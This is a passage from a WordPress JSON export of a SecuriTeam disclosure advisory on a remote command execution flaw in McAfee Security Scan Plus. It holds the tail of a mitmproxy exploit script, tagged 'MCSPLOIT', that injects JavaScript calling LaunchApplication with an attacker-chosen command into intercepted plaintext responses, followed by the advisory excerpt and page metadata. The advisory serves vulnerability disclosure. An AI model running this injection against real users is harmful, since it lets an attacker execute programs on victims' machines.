class=\"crayon-o\">%<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">COMMAND<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CMDARGS<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">http<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">HTTPResponse<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">make<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">200<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">bytes<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">contents<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">encoding<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;utf-8&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8220;Content-Type&#8221;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;text\/html; charset=utf-8&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-s\">&#8220;Expires&#8221;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;-1&#8221;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8220;content-type&#8221;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;text\/javascript&#8221;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;[+] [MCSPLOIT] Insecure McAfee request found! (JS)&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">inject<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;try{window.external.LaunchApplication(&#8220;%s&#8221;,&#8221;%s&#8221;);}catch(launchapperr){var x;}n&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">COMMAND<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CMDARGS<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">contents<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">inject<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">contents<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-34\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">except <\/span><span class=\"crayon-v\">AttributeError<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-35\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ctx<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;[-] [MCSPLOIT] No content in the original response!&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-36\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pass<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-597e5b59aa470227691136-37\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">except <\/span><span class=\"crayon-v\">KeyError<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-597e5b59aa470227691136-38\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pass<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0046 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3350\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/06\/McAfee-Security-Scan-Plus_1-300x290.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Sun, 30 Jul 2017 06:47:06 +0000<\/strong><\/p>\n<p>Vulnerability Summary The following advisory describes a Remote Code Execution found in McAfee Security Scan Plus. An active network attacker could launch a man-in-the-middle attack on a plaintext-HTTP response to a client to run any residing executables with privileges of a logged in user. McAfee Security Scan Plus is a free diagnostic tool that ensures &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3350\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 McAfee Security Scan Plus Remote Command Execution<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[12270,11851,10757,12136],"class_list":["post-8508","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-man-in-the-middle","tag-remote-command-execution","tag-securiteam-secure-disclosure","tag-unauthenticated-action"],"_links":{"self":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8508","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=8508"}],"version-history":[{"count":0,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/8508\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=8508"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=8508"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=8508"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}